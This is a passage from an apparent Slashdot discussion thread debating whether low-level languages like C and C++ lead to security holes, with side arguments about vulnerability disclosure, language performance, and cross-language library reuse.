      Anyway, getting back to the original point I was trying to make, in the hobbyist space, C++ is a godsend because of all the things it gives a small-scale developer (e.g. a free IDE that can be run even on slow equipment, great performance, object orientation, etc). And, this results in home users having MORE features and functionality than they would if all the development was being done by the suits. And, the more people who are building things for Linux, the more likely something really cool is going to come out. So that's my point of view, basically. "Professional" tools for Linux are a whole other realm.

      --
      Farewell! It's been a fine buncha years!
  84. Or heres an idea by diablobynight · · Score: 1

    Maybe they just don't like posting every way to hack into the OS on a website read by millions of juvenile hackers. I mean I am sure all the people with public linux servers would just love that. Oh shit, someone just found 30 different ways to hack my box, and oh christ, their not going to have a patch for these problems untill some open source programmer gets around to fixing it. This is the only problem with open source, If you find a security hole in a Sun system, or god forbid, a windows 2000 system, the community tries to keep it as quite as possible while their programmers come out with a patch and release it to everyone. While in open source, I have to announce that my front door lock is broken, to the whole world, and hope that a good natured lock smith fixes it, before half the crooks in the world steal all my stuff and rape my dog.

    --
    Anonymous Cowards - Oh God, How I hate you
    1. Re:Or heres an idea by Gibble · · Score: 0

      Ussually in open source there is a person or group responsibility for that code that you would send the hole to for them to patch, this CAN be kept quiet like everything else.

      --
      Gibble: Descriptive of an emotional state in which one's mind is scrabbling for some purchase on reality
    2. Re:Or heres an idea by gbjbaanb · · Score: 1

      there's a way round that - explain the hole, explain why it works and give sample snippets of code. Do NOT provide a full working demo (with binaries) on how to hack a system.

      Real coders can take the snippets and make a hacking program, the script kiddies cannot. I can explain a buffer overflow flaw, and give sample code, without letting the kiddies wreak havoc.

      eg. try this link for a full explanation (with pics) of buffer overflow.
      http://cis.stvincent.edu/swd/profession al.html

    3. Re:Or heres an idea by Trolling4Dollars · · Score: 1

      My god you are ill informed!!! You subscribe to the security through obscurity approach? Ha! Lame!

      Full disclosre is the best security model. Expose everything so that something can be done about it. By displaying the mechanisms of the security hole, you also light a fire under the ass of anyone responsible for it. Open source is the best at tackling this since the coders are on the problem as soon as it's revealed. The fix is usually availble within a day if not hours after the announcement. On the other hand, companies like Microsoft and Sun sit on their asses babbling about "unknown issues" when someone DOES find a problem and brings it to their attnetion. It's not a wonder that their products are hacked so frequently.

    4. Re:Or heres an idea by jc42 · · Score: 1

      Maybe they just don't like posting every way to hack into the OS on a website read by millions of juvenile hackers.

      This is the standard red herring used to keep us ignorant.

      Neither I nor the original poster even remotely suggested publicizing newly-discovered holes. We all understand the problems with that. And there has been plenty of thoughtful discussion of the topic. Most of the discussions conclude that you should first notify the peope responsible for the code, and check with them for a while to see how their patch is coming along. Then, if after a month or so they haven't acted responsibly, you send your report to the appropriate security lists. Long experience has shown that security holes in commercial systems tend to not get fixed until they are at least publicised in the "professional" security fora.

      But this is off topic. The topic is the fact that we programmers repeatedly create new security holes of types that were known decades ago. We do this because, even a decade after an exploit is found, people still do their best to keep us ignorant. When we ask "How does this work?" for security-related things, we are treated like we're evil hackers bent on destroying all the world's computers. We respond to this as anyone under suspicion would: We clam up and stop asking questions that might get us into trouble.

      The inevitable result of this is that, in our ignorance, we continue to create the same sorts of security holes. The reason is that people are intentionally keeping us ignorant of our mistakes.

      Then, when the holes are discovered, we become scapegoats. But the real culprits are the people who react to our questions like you have, and intentionally keep us ignorant for years or decades.

      --
      Those who do study history are doomed to stand helplessly by while everyone else repeats it.
    5. Re:Or heres an idea by diablobynight · · Score: 1

      I imagine that in all reality, Microsoft is hacked more than linux because it is on 95% of the computers. Linux has shit loads of holes. Give me the address of your public linux server and I'll give you the address of my windows box, and we'll see who go's down first.

      --
      Anonymous Cowards - Oh God, How I hate you
    6. Re:Or heres an idea by #!/bin/allen · · Score: 1

      The current full disclosure expectation is based on decade long experience with proprietary vendors.

      These vendors when told about a security (or any other) problem, replied that you were the only one call in with this problem, but even so promise a patch. On being called again they would repeat that you were the only one effected (regardless how inane this now sounded) and promise that the next version would have the problem corrected. This might go on for years and through several releases.

      The only way to combat this if you weren't Ford or NASA was to publicize the problem. That often got the vendor off it's fundamentals. And it got the big guys working on your side, though they wouldn't thank you.

      Full disclosure is a tool to use against a proprietary industry shielded from any product liability. In the open source environment, these disclosures are part of a wider communication.

      There are other tools such as certification. They just don't work as well.

      --
      sed 's/commun/terror/g' mccarthy > bush; sed 's/terror/saddam/g' bush > bush_wacked
    7. Re:Or heres an idea by Anonymous Coward · · Score: 0

      Alright... You called the challenge. So You go first. If I see your IP with some verifiable proof that it IS yours. (ie. I get to speak to you on the phone or something equally tangible) I'll gladly put mine up.

      Some ground rules:
      -DDOS and DOS attacks don't count on either side
      -Must be a legitimate exploit, not script kiddie stuff
      -You may have a Windows box behind a firewall, but you must also have standard ports open:

      25
      80
      110
      -One on one grudge match only. No calling in troops of your friends to pound the box.
      -If a box is cracked, you can leave evidence of the crack by dropping a TXT file in the root directory
      -No damage to any data on the cracked system
      -Time limit: five days
      -That we are willing participants on both sides must be publicly acknowledged to avoid any legla complications

      Otherwise... forget it. Ball's in your court.

    8. Re:Or heres an idea by diablobynight · · Score: 1

      What's up with these rules. No damage done to any data? I have to leave port 25 open? what a legitimate exploit and what's script kiddie stuff. Last time I checked there was no hacking rule book, this sounds a lot like flag football, sort of like football, but the pussy version.

      --
      Anonymous Cowards - Oh God, How I hate you
    9. Re:Or heres an idea by Anonymous Coward · · Score: 0

      Just as I thought. No fucking guts. Where's the IP dork? And your proof that it's yours?

    10. Re:Or heres an idea by Anonymous Coward · · Score: 0

      And that sounds like you've pussied out ;]

    11. Re:Or heres an idea by Anonymous Coward · · Score: 0

      on another note. if i ever meet you in person, i'm going to punch you in the nose.

    12. Re:Or heres an idea by Trolling4Dollars · · Score: 1

      Hmmm. Where do I start with this one? I didn't post any of the above for one thing. I don't think I'd participate in such a challenge since it sounds like you are pretty unscrupulous in the first place. My Linux servers are running just fine for a few years now thank you very much. They are doing just what I need with stability, security and robustness. It sounds to me like you just like picking fights with people.

    13. Re:Or heres an idea by diablobynight · · Score: 1

      These aren't people, There ACs. ACs are something that's below the lowest of the low. The complete lack of accountability make them like a child prank calling somebody. They don't stand by their statements at all, and I would love to meet the guy who said he would punch me in the nose. I was simply saying that this guys competition was pretty pussed out. If he thinks linux is so secure we shouldn't need the rules he stipulated.

      --
      Anonymous Cowards - Oh God, How I hate you
  85. he's right, but Linux is still better by g4dget · · Score: 1
    I think he's absolutely right: trying to write secure systems in C or C++ is an uphill battle. With enormous amounts of work and testing, it can be done, but why would anybody want to?

    On the other hand, Linux and Windows are in the same boat here: most of their critical components are written in the same languages: C and C++. Ditto for Solaris and Mac OS X. So, Windows doesn't have intrinsic an advantage there when it comes to languages and tools.

    But Linux's development processes, community, and modularity give it a huge advantage over Windows when it comes to security. Just the ability to strip down a Linux system to barely a kernel and a handful of user processes, as well as the very fast bug fixing are enormous assets when it comes to security.

    However, Microsoft has seen the light, which is why they are pushing C#/.NET: C# really does let them write code that is pretty much as efficient as C++ code, while still being completely safe, and yet giving them full access to the low-level features of the machine. So, if the Linux community doesn't watch out, Microsoft may (for the first time) end up having a technical lead.

    Fortunately, the Mono project is working hard on creating a platform for both client and server development in C#. And, of course, we also are getting more servers and server components in Java, Python, PHP, and Perl.

  86. If you read Slashdot regularly.... by johndeaux · · Score: 1

    You would think the Windows is the ONLY unsecure platform and the Linux it the great white tower.

  87. Computer vs. Human by TheShadow · · Score: 1

    While I don't agree that Higher-level Language == Better Security, I do think that there is some value in using a higher-level language to achieve better security.

    Think of it this way. There are tasks that humans do better than computers and task that computers do better than humans. I would argue that array bounds checking and memory management (in the form of garbage collection) are better suited for a computer. Why? Because they are mundane tasks that happen a great deal in low-level programming.

    Why not push those tasks (ones that a computer can handle very well) onto the language or runtime library? Free the human (programmer) to concentrate on the more complex security issues.

    --

    --
    "What do you want me to do? Whack a guy? Off a guy? Whack off a guy? Cause I'm married."
  88. Re:HLL's are NOT a substitute for secure programmi by Surak · · Score: 1

    I'll accept that, in the diversity of programmers, there are some that are writing insecure code. But stereotyping of this sort is an act of the columnist. Even if there are some programmers who adopt this stereotype, they do not nearly comprise the entire population. The existence of many professional, responsible programmers is completely discounted by the columnist.

    No, it isn't. The columnist points to security holes in software written by our best and brightest: Linux, Samba, and Evolution to name three. Nobody's gonna say that the people who develop these packages are anything less than professional, responsible programmers. People like Alan Cox and Andrew Tridgell. What Lasser is saying is that even the brightest, most professional and responsbile programmers make mistakes, especially when they're writing in a low-level language. Buffer overflow problems or format string errors are very easy to make and are oftentimes not obvious until well after the code is released. And yes, even people like Alan Cox or Andrew Tridgell or Linus Torvalds make mistakes. Shocking, I know.

    And if you think about it, in many ways, Lasser is write. I will say that just writing in HLLs is not going to solve the problem. You *can* write bad, insecure code in HLLs. But it's not nearly as easy for professional, responsible programmer to make a mistake in an HLL as it is in LLL. That's the spirit of the article, and I happen to agree with it.

  89. Many comments here prove the point by NickFitz · · Score: 1
    a tendency to believe that one's own code is well-written, and a corresponding belief that real coders, like fighter pilots, work as close as possible to the bare metal: Real programmers manipulate the system at the lowest possible level, for the maximum possible effect.

    The many posts here by people saying "I gotta use C/C++, that other stuff's too slow" prove exactly this point.

    In the 80s, I worked for a number of years as an assembly language programmer (6502, 6809, Z80, x86, 680x0, ARM); we didn't use C (in fact, we sneered at people who did) because it just couldn't offer the performance of hand-crafted assembler (and I'm talking 30,000+ lines here).

    Now I do almost all of my design prototyping in JavaScript (quick turnaround on the modify/compile/test cycle), and code real stuff in Java or (occasionally) C#. Why? Because I like making stuff work.

    I find it hard to understand why people torture themselves with C/C++ when there are more productive languages available. I mean, wasting a day tracking down a dangling pointer? Life's too short!

    I'd still happily turn to assembler if I really needed performance, but my crappy old PC and my uncrappy, not-so-old Mac (under OS X) seem to manage everything I want.

    If I need to confuse myself with intractable problems, I'll contemplate my life.

    --
    Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
    1. Re:Many comments here prove the point by WARM3CH · · Score: 1

      The is always bad and good tools to write a program. Over the years I've been busy writing programs in Maching code (yeah, writing hex codes directly), Assembly, C, C++, Basic, Prolog, Pascal, VB, Java, VHDL, Ada ... and yet I try to write the program in hand, with the right tool. It's not a good idea to write a progam mainly doing a fancy GUI in assembly but it as bad to write a numeric application in Java (Speed, Libraries, Templates, IEEE754 floating point...) It much simpler to write a symbolic processing appliction in Lisp or Prolog than in VB and writing simulation models in VHDL is not at all comparable to what you can do in C. It really depends on the application and VB/Java/C# is not a good answer to all programmers.... Is it obvious? so what were you talking about when you ruled out C and worse than that, C++?

    2. Re:Many comments here prove the point by NickFitz · · Score: 1

      Things like memory allocation problems, dangling references, etc. It's possible to do all this stuff yourself, but why bother when tools and libraries are available to do it for you? This was the point made in the article, and I agree.

      You're right that one should choose the correct tool for the job; I just believe that a heck of a lot of stuff is done in C or C++ that could be done with higher-level tools. You doubtless remember that COBOL was one of the most widely used languages for business applications for years; I get the impression that a lot of people nowadays are using C/C++ for applications that would, frankly, be better written in COBOL. (And if there's one language I don't want to deal with, it's COBOL).

      Charles Moore, inventor of Forth, is quoted in Leo Brodie's book Thinking Forth:

      (Programmers) like to do these elaborate difficult things. But there comes a time when the world is going to have to quit programming keypads and converting numbers to binary, and start solving problems.
      1984 edition, p. 117

      C was developed primarily as a tool for writing Unix. C++ was developed as a way of adding this cool, new (back then) OO approach to C. There's a place for both languages, but it would take a lot to convince me that either of them is the only appropriate choice for the majority of purposes to which they are actually put.

      Programmers like stuff that's difficult because if you don't, you wouldn't be a programmer. But I prefer the language to stay out of the way of my exploration of my ideas as much as possible, and buggering about with malloc() is simply not relevant to the majority of problems. It's a distraction. I can make serious errors in the logic of my apps without having to be held up by null pointer exceptions that wouldn't happen with another language doing the system-level stuff for me. In the same way, if I could afford it I'd have a cleaner in; I want to live in the house, not be a housekeeper.

      All IMHO, of course :-) And the next time I want to write an OS, I'll certainly use a tool like C.

      --
      Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
    3. Re:Many comments here prove the point by crazyphilman · · Score: 1

      Well, hang on a second.

      Some of us really DO have to use C or C++. Specifically, if we don't have a lot of money (I definitely don't) we can't afford a particularly fast machine. For example, I use a Pentium 167MMX laptop with 96MB of Ram and 4GB of disk at home. I would like to do GUI development with a decent system (and no, I don't mean using Emacs); I would like my programs to run quickly on my little machine. I would like my programs to run on the similar machines owned by other financially strapped people. These, then, are my constraints.

      Java isn't really an option. It runs like molasses on my machinery. Just starting up an app takes a little while; it's annoying. So that's not cool, right from the get go.

      All of the IDEs for Java either cost buttloads of money, require buttloads of ram and power, or both. Example? Forte, which recommends 512MB ram and a relatively modern processor, won't even start up on my little box in under five minutes, and there's no guarantee *anything* will work. It's a testament to Linux's stability that the machine crawls to a halt but doesn't crash when I suicidally try this out, but still -- the IDE doesn't work. I could code using Vi, and Java's command line compiler, and hand-code every single form element... But that would be hellish.

      So, look at it from my point of view: why should I go through all this trouble when I can just use the QT designer and KDevelop? This is a C++ IDE that seems to run very well on my machines. Furthermore, the C++ code it generates will in turn run very well. Result: I don't have to spend a few thousand bucks on a new machine, I can use my beloved existing machine. AND, as a side benefit, other financially challenged people in the same boat as me will be able to use what I create.

      I know you'll say "Use Perl and Tk" but I like C++'s approach to object oriented development and classes better than I like Perl's. And, I like the libraries I can get for C++. CPAN's great, but... I genuinely *like* C++.

      So, you see, some people really DO have a good reason to use C++, and it isn't just grandstanding or showboating. Honest. It's the desire to not have to throw your beloved computer, which you've had for a while and really, genuinely feel attached to, in the trash. And, I think C++ is kinda fun. I'm getting back into it after five years off (doing Java, Perl, and now Microsoft stuff like VB and ASP). I'm reading Swan to refresh my memory; it's a pretty cool book, by the way.

      --
      Farewell! It's been a fine buncha years!
    4. Re:Many comments here prove the point by NickFitz · · Score: 1

      I can't argue with you, and don't want to. I think, though, that you're talking about writing software you will use; I'm sadly trapped in the hideous world of doing stuff to pay the rent. (Not that there is any stuff to do the moment, but we all have to tighten our belts in wartime ;-)

      And, I like the libraries I can get for C++. CPAN's great, but... I genuinely *like* C++.

      Love the language that works for you, but as the song says, "If you can't be with the one you love, love the one you're with" :-) I have to say that if there's one language I really like to work in, it's Forth. I've written my own Forth language implementation and development environment before now (for the Atari ST) ; ultimately, when I'm working for my own pleasure, I want the language I like, and the devil take the hindmost. (I haven't had the chance to get paid for it since 1989, but I still solve Countdown's Numbers game on a stack in my head.)

      Unfortunately, those people who employ - or fail to employ - consultants like me want stuff to work on their systems, and so I sell my soul. How much work does a Forth specialist get these days, as a regular gig?

      Specifically, if we don't have a lot of money (I definitely don't) we can't afford a particularly fast machine. For example, I use a Pentium 167MMX laptop with 96MB of Ram and 4GB of disk at home.

      My PC, brushing against my leg as I type, started life as an empty case that I put my dad's old 286 motherboard in; believe me, I know about making do with what you can afford. (FWIW, it's currently a 500MHz AMD I got as the cheapest available from the local computer shop when the second-hand AMD 100MHz went west. Still got a 4Gb drive in it.) I'm thinking about philosophical differences between approaches.

      The reason we regarded people who programmed in C with a degree of pity (this was 1987 - 88) was because setting up and breaking down all those stack frames used up valuable cycles. On an 8086, a

      mov ax,0

      was less efficient than a

      sub ax,ax

      or (my opcode of choice) a

      xor ax,ax

      by a couple of cycles. That meant everything when a single byte read from/write to a CGA card's video RAM cost betwen ~20 to ~50 wait states for an 8MHz 8086. That's the level we were working to when I developed my dislike of C; my dislike of later manifestations of C and C++ comes down to reading those ads in Doctor Dobbs Journal saying "Can you tell where the bug is? PC-Lint can!". I should be able to tell where the bug is; I wrote it, for goodness sake!

      I just feel that the point in the original article about us programmers being more attracted to cool, tricky stuff than to meeting real-world requirements was right generally, as well as in the context of application security. I have to combat my desire to do cool stuff every day, because I have to do stuff that satisfies my customers' desire for functional, safe stuff. It's boring, but it keeps me off the streets - or, at the moment, fails to.

      BTW, I don't actively recommend or discommend Perl; I think Perl is just bizarre. If that's how Larry Wall thinks about programming (see the Camel Book intro), I'm just glad there's room for a lot of opinions in this world :-)

      As an aside, can I ask, do you optimize your stuff by dropping into assembler for critical portions of your code? I'd highly recommend it, because in my experience, anybody who appreciates the power available from C or C++ really gets off on assembler. (Sorry if that sounds patronising; don't want to teach my grandmother to suck eggs.)

      I don't have anything against any language, and I certainly appreciate your situation as regards processing power

      --
      Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
    5. Re:Many comments here prove the point by crazyphilman · · Score: 1

      I know exactly what you mean about having to pay the bills... My "secret shame" is that I have to program in VB and ASP during the day, even though I wish I was using something a little more C++ like. I like what I can do with VB, and the job pays the bills, but sometimes, when I get home at night, I'm so bummed out I just flop down on my couch and watch freaky short films on the independent film channel until my mind turns off. I'm kind of a melancholy sort these days... Now that I think of it, maybe this explains why I'm focusing on C++ and software engineering at home; perhaps it's a subconscious reaction to the virtual lobotomy I'm enduring all day...

      But, still, you have to admit, if you want to write code that *anyone* will be able to run, you can't use Java (although you *can* get away with Perl/TK, if the program's small enough). You almost *have* to use C++, because it produces files that are small and fast enough for the slow machines a lot of people still use. That kind of appeals to me, you know? But so far, yeah, I've only been writing small stuff for my own internal use. I'll work up to releasing something, if I ever build something I'm sufficiently confident in, but I'm kind of a reclusive sort, so it might be a while. ;)

      Anyway, you're pretty cool. I haven't tried any inline assembler yet; do you have any tips? I'm not entirely clear on how it would work on a Linux system; I'd use the syntax from the GNU assembler, right? I've been wondering about that a lot; because gcc turns the C++ into GNU assembler before linking it, doesn't it? So using inline assembler would mostly just give you the ability to specify how something was done. I've been thinking, what if you coded your stuff first as C/C++, and used gcc to turn it into an intermediate assembler file; then, tweak the assembler, cut out the actual code section you're interested in, and re-insert it back into your other code?

      --
      Farewell! It's been a fine buncha years!
    6. Re:Many comments here prove the point by NickFitz · · Score: 1
      f you want to write code that *anyone* will be able to run, you can't use Java

      I keep meaning to write a Java app on my Mac and then get it running on my PC, just to see what the difficulties are these days. In theory, the write-once-run-anywhere stuff is true these days, but I'm going to suck it and see before I make any claims in that department ;-)

      I haven't tried any inline assembler yet; do you have any tips?

      Afraid not; the last time I mixed assembler with high level was in Forth, which probably isn't much help when it comes to gcc.

      However, you're spot on with the idea of coding in high level first, then converting to assembler. Specifically, I'd suggest getting an app working, then if you need extra performance, profile it and recode the bits that are bogging you down. That's the way we used to work in Forth, and it offers several advantages: first, you know that your logic is correct; second, if you find a bug in your logic, you can go back, switch in the high level stuff, fix the logic in there, then convert your changes back into the assembler code; third, if your unit tests (you did write your unit tests, right?) pass with the high-level and not the assembler, you know that the mistake is in your conversion, not your logic.

      Cautionary tale:

      Back in the early 80s, a friend at a company where I used to work had a bug in his assembler conversion of a Forth word (== subroutine). He spent hours trying to work out how he'd gone wrong - the high level code worked perfectly, the low level failed every time. Eventually he called in the project manager, a phenomenal coder who should never have been put onto managment. This guy sat there testing the whole thing from basics (never believe what the guy who wrote it says about it working ;-), and finally brought a hex dump of the machine code up on the screen. He scanned through it, and suddenly pointed at a single byte: "It's there!" He switched back to the source, pointed at the relevant mnemonic, and stated "That's correct: it's a bug in the assembler." And it was...

      Among other morals of this tale, people should note one thing: if a programmer is phenomenally good, don't make him a manager; just pay him more. None of the programmers there would have resented him being paid more, because they all recognised his superiority. Trouble is, management judge others by status, and coders judge by ability. He was the worst manager I've ever come across, but I learnt more about finding bugs from one 45 minute debugging session with him than from 10 years of programming.

      Anyway, you're pretty cool.

      Aw, shucks. <simper />

      Good luck, and (most important) have fun!

      --
      Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
    7. Re:Many comments here prove the point by crazyphilman · · Score: 1

      Thanks! Cool assembler story.
      Have a great weekend!

      --
      Farewell! It's been a fine buncha years!
  90. Re:HLL's are NOT a substitute for secure programmi by nestler · · Score: 1
    HLL's can be misused just as effectively as LLL's.

    Agreed. This guy mentions recent bugs in OpenSSL to try to bolster his argument. Of those three bugs, exactly zero of them would have been prevented by using a high-level language.

    1. Lasec CBC attack
    2. This was a timing attack based on the fact that certain errors would cause OpenSSL to return before computing a MAC. Nothing to do with language choice.
    3. RSA timing attack
    4. This was a timing attack based on how long it takes to decrypt a given RSA ciphertext. Again, nothing to do with language choice.
    5. Modified Bleichenbacher attack
    6. This was an attack based on different error codes coming back depending on different decryption results. Again, nothing to do with language choice.
    7. Basically, by choosing these examples, this guy refutes the very point he is trying to make. In fact, for the first two bugs, a slower language like Java would make it even easier to mount a timing attack (since each crypto operation would go much slower, an operation's absense would be more detectable).

      Migrating away from C may solve buffer overflows, but it is not a panacea. I'd rather use code written in C by security-minded coders than HLL code written by somebody clueless.

  91. Re:HLL's are NOT a substitute for secure programmi by dasmegabyte · · Score: 1

    Since I spent the past two weeks learning Dan Berstein's tinydns and qmail, I'm inclined to agree with you. These two are probably bulletproof. However, all this guy does is write small, insecure software for 10 year old protocols. He spends a lot of time on security, and not much on developing new features or ways to make his software easy to admin (it's not impossible, it just takes longer than other sendmail subsitutes).

    I think that when HLLs like Java are used for preliminary implementations of new protocols, we get security and ubiquity first. And really, that's what you want when you've got a new app. This is one of the things I think Freenet has done very much right. Java has not signficantly slowed down the network, but has made it easier to do complicated things without flaws becoming exploits. Fewer people can do more sooner.

    Eventually, hypersecure, hyperoptimized tools like Bernstein's will be created for everything. Until then, I'll take the "free" security over the free speed of C.

    --
    Hey freaks: now you're ju
  92. Not language as much as library by j3110 · · Score: 4, Insightful

    The biggest problem with C/C++ is the complete lack of a standard safe library. Developers don't like to say "You need to install these 20 other packages before my program will run on your system."

    Also there are Language biggots that say "C is better than X because it's faster" or "Just because we have a 2Ghz, doesn't mean we should waste it."

    C is faster than X?
    A language isn't fast, only it's compiler has had more time to be optimized. Natively compiled programs in fact have less of a chance to be fast for these reasons:
    1) compiled for a specific architecture, usually 386.
    2) can not inline shared library calls.

    At the moment C may be faster than X, but in a lot of cases, X (where X is an interpretted or VM compiled language) will eventually over-run C in terms of performance.

    Just because we have 2Ghz, doesn't mean we should waste it?

    Also, you have to consider that these languages usually have enormous libraries and abstractions like Java so that developers don't have to code as much. This means there is less code that has to be checked for security issues. It means more efficient developers. At some point, the time of the developer out ways the time spent on the CPU. I would rather people were making this choice rather than to skimp on security. Security is often implemented after the fact in C.

    Security is always more important than performance to me. You are playing with data. Data is the single most important asset that anyone has. People cry for hours over loosing just 4K-10K of data. I would say to those that don't have the time to make a program right in C (takes more time than Java if you consider security and performance) then don't write it in C. You could end up causing a lot of people a lot of pain.

    If you don't like Java, use Python. If you don't like Python, write a good VM. If you don't like VM's, you better take the time to check your code well. If you don't have time either, don't even bother programming. You are just going do more bad than good.

    --
    Karma Clown
    1. Re:Not language as much as library by Xugumad · · Score: 1

      I'd disagree that no particular language is faster. Lets start with assembly, which on most platforms is faster than anything else (RISC systems can be a different case, but work with me here). C is not that much higher level than assembly, and so allows the programmer a far greater level of control over how things run.

      For example, in Java, if I want to process a string (converting control characters to spaces, for example), I either have to call a method to fetch each character, or first convert the string to a char array, then test each character then convert the result back to a String instance. In C, I can use function pointers, saving me the conversion to/from a char array.

      Fine, its not a massive overhead, but the point stays. I have code that does 20-30 significantly more complex sets of string processing for most interactions with the user, and that adds up to a noteworthy slowdown.

      Conversely, I'm currently working in Java, because we've got more processor time than programmer time. I just felt a need to defend C.

    2. Re:Not language as much as library by pjrc · · Score: 1
      At the moment C may be faster than X, but in a lot of cases, X (where X is an interpretted or VM compiled language) will eventually over-run C in terms of performance.

      But when that day arrives, we'll all be too busy playing Duke Nuken Forever to get any code written

    3. Re:Not language as much as library by pyrrho · · Score: 1

      >At the moment C may be faster than X, but in a lot of cases, X (where X is an interpretted or VM compiled language) will eventually over-run C in terms of performance.

      this is wrong for many reasons, but perhaps the simplest is: think, the VM is probably written in C... how is it going to be faster than C?

      Don't buy this crap about VM optimizations, there isn't a single one that couldn't be in a class system.

      Also: you don't have to ask your client to install extra libraries... that's a VM thing, where they need to install something to extend the capabilities of the local VM... with C/C++ you can just ship the .so/.dll and or just statically link.

      You're right about the priority of Data. However, you are going to have to have some proof if you want me to think it's quicker to code in Java than C/C++, I don't believe it.

      I have never found that sort of thing to be the case in general. Arguments like "I can write a web server in ten lines." Um, well then, with that logic, I can do it in One Line in C++.

      HttpServer httpSrv = new HttpServer;

      iow: they can only "write that in ten lines" because it was already written by someone else! And there is no reason someone else can't write it for you in C/C++ too... certainly no one can argue that there is not a plethora of ready made stuff in C++...

      --

      -pyrrho

    4. Re:Not language as much as library by pyrrho · · Score: 1

      yeah, and we all know Java programs practically write themselves!

      Hey!!!!

      Tomatoes are not poisonous!

      --

      -pyrrho

    5. Re:Not language as much as library by egarland · · Score: 1

      First let me talk about this:
      > A language isn't fast, only it's compiler has had more time to be optimized. Natively
      > compiled programs in fact have less of a chance to be fast for these reasons:

      Java advocates have been saying for years that Java can perform even better than C in certain instances. Maybe it can, but it doesn't! Every program I have ever seen that was written in Java was painfully slow. Load times suck, memory footprint is bad and screen interaction is slow. The best place I have seen for Java is running server side web based applications i.e. Tomcat. I personally prefer mod_perl since I'm a perl guy but Java is quite good in that space because it's bloated memory footprint and horrible load times aren't an issue.

      To my main point:

      There are more reasons than just performance to not use "modern" languages. You also have to consider code reuse. I'm a perl programmer. I can use any C libraries in perl by using one of the pre-built modules on CPAN or, if there isn't one already built, by writing my own XS interface. You can't use code written in java in a program written in perl, or for that matter, python or VisualBasic or C or C++. It's just not practical.

      When you are looking at portability between "languages" vs operating systems, C is by far the most portable language.

      People like to think of the language as a box, a complete package and like to say how incredibly good that language is. The problem is that no matter how big your language's box is, C's is bigger. Every language is, by nature, a subset of C since none can replace C and all can use things written in C. C is the least common denominator and so everything that needs to be language neutral needs to be written in C. Therefore general purpose libraries are written in C including security sensitive libraries.

      I suggest the best way out of this would be a new language that was designed to be able to call C and be called as if it were C. It would need to compile to shared and static libraries that can be called directly from C or from other language's with their C interface. It would also need to be able to directly call functions in C libraries without interface routines.

      Given those requirements, it's hard to imagine a language that looks or acts much different than C. I believe a language with a syntax similar to perl could do it. It would definitely have to lose `eval` and some other run-time stuff (require etc.) but a lot of the principals could carry over. That would be quite cool. C is a pain in the ass.

      --
      set softtabstop=4 shiftwidth=4 expandtab nocp worlddomination
    6. Re:Not language as much as library by ajs · · Score: 1

      At the moment C may be faster than X, but in a lot of cases, X (where X is an interpretted or VM compiled language) will eventually over-run C in terms of performance.

      If that was intended as a joke, it's pretty funny. Otherwise, you need to hit the books.

      C is "fast" because it's a low-level language. C++, ADA, Perl, C#, LISP, Python, Java, Scheme, etc are "slow" in comparison because their relative levels of abstraction add a performance penalty.

      The same can be said (and is, and is correct) of assembly vs. C. C is "slow" in respect to assembly because assembly lacks the abstraction of lexical scope, typing, automatic stack handling, etc.

      This is not a theory, it's simple definition of terms.

      If you're trying to advocate VMs or other forms of interpreted execution, there are some excellent reasons on which to base your case. Execution speed that will one day magically match that of the same program written in C is most certainly not one of them (assuming that we don't get strong AI any time soon, and build a JIT around it).

    7. Re:Not language as much as library by MikeFM · · Score: 1

      Probably the best thing to do is to learn to code in both a low level language and a high level language. Write your programs in a language like Python and rewrite the parts that need more speed in C/Asm. I think that the majority of programs could be written that way without a great loss of speed. I don't know if it'd help security by itself but the simplified code would make the code easier to maintain and that can help security.

      I do think programs such as the kernel and X should be written in low level languages. That includes print services and such. Those things are heavy duty and need the speed.

      --
      At what price learning? At what cost wisdom? The price is a man's peace of mind, and the cost is his life.
    8. Re:Not language as much as library by j3110 · · Score: 1

      I don't hate Perl... in fact, it's part of my arguement. Perl could be faster than C in the future, and likely it will be safer.

      But to defend Java, it's actually easier to call out to native methods in Java than in Perl. You load a system dependant DLL and start calling functions.

      You can reuse code like that, but I don't recommend it. Everytime you call out to a native library with data generated partially from a user, you are taking some risks. Often times, there really is no reason to do so from Java considering just about anything there are native libraries for, there are Java libraries for. SSH2 is the only thing I can think of to the contrary, but there is SSH1 support from free third-party sources (Open source).

      If you want to see facinating uses of Java calling native code, you should take a look at Eclipse and SWT more specifically.

      --
      Karma Clown
    9. Re:Not language as much as library by j3110 · · Score: 1

      If you mean that compiler technology won't ever advance to the point that it will find the most optimum sequence of bytes to perform a task, then I'll agree with that. Just don't tell me you can either.

      Even if you were some kind of crazed person that could do this, I'm willing to make significant wagers that no one will ever pay you to do so. It's unjustifiable expense.

      Writing a program to perform this task for you would be the same as writing a better, magical compiler. If you put this compiler in Java's JIT, Java will be faster than C because of the reasons I have stated (inlining of system library calls, target of specific processor). If you ship only source code with C, and never a binary, then maybe you could achieve the same kind of speed.

      You will never convince me that assembler is faster than C and you can still ship it to users. You can't possible do this without foresite into the processor's advanced features that only a compiler would have. Your app would have to target 386 or intel processors or athlon. You can't get the most possible performance out of both simultaneously. If you compile knowing what processor you have, you can take advantage of the unique features of that processor. In an ideal world, Java would JIT knowing this and optimize for a specific architecture. This isn't the case now, but it's not unrealistic to think that it will be one day. (It in the very least is possible... which is the statement I made.)

      --
      Karma Clown
    10. Re:Not language as much as library by Anonymous Coward · · Score: 0

      somebody must write middle tier

    11. Re:Not language as much as library by dpilot · · Score: 1

      To some extent, the pervasiveness of C is the enemy of proper optimization of some of the other languages. There's only so much compiler-writer bandwidth to go around, and the market has had most of that bandwidth dedicated to compiling and optimizing C.

      The situation is magnified with a compiler like gcc, where a common back-end services many front-ends. For instance, compilers have to spend effort handling aliasing under C that is either illegal or carefully described in other languages. Other languages, for instance Ada, can use those "cursedly verbose declarations" to give the compiler hints about the code. But since Ada is a fringe language, the back-end writers will most likely ignore those hints and crank along as if the input had been C code, aliases and all.

      --
      The living have better things to do than to continue hating the dead.
    12. Re:Not language as much as library by egarland · · Score: 1

      Of course Java can call native libraries, that was part of my argument too. I don't hate Java, it's just not appropriate for libraries that you want to share between languages. C is the only option there which is why SSL support, rsync support, DB interfaces, OpenGL etc are all written in C. Things written in C can be used in any language. You can't say that about any other language.

      A good example of this is ImageMagick. It's a nice library for manipulating images. It's written in C but you can use it from Perl, Python, PHP, C, C++ and Java. If it was written in any other language it would only be usable in that language.

